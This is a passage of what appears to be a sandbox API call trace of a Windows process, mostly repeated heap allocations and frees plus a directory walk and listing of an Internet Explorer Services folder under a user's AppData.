[0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.232] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.232] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.233] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.233] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0119.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.236] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.236] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.236] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.236] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.236] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.236] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.236] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.236] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.236] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.236] PathFindFileNameW (pszPath="") returned="" [0119.236] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.236] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.237] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.237] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.237] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39301f8 | out: hHeap=0xd10000) returned 1 [0119.237] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.237] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0119.237] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.237] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.237] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.237] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.237] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.239] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.239] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: 